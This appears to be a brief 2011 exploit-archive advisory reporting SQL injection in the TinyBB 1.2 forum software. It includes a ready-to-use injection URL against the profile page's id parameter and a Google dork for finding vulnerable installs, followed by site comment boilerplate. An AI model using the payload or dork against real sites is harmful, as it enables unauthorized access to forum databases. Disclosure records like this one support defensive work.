TinyBB 1.2 SQLi Vulnerability

2011.01.11

Credit: Aodrulez

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

+-------------------------------+
| TinyBB 1.2 SQLi Vulnerability |
+-------------------------------+
Vulnerable Web-App : TinyBB 1.2
Vulnerability : SQL Injection.
Author : Aodrulez.
Email : f3arm3d3ar@gmail.com
Google-Dork : "TinyBB 2011 all rights reserved"
Tested on : Ubuntu 10.04
+---------+
| Exploit |
+---------+
TinyBB Version 1.2 is vulnerable to SQLi.
http://127.0.0.1/index.php?page=profile&id=' or 'a'='a
+-------------------+
| Greetz Fly Out To |
+-------------------+
1] Amforked() : My Mentor.
2] The Blue Genius : My Boss.
3] www.orchidseven.com
4] www.malcon.org

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

TinyBB 1.2 SQLi Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.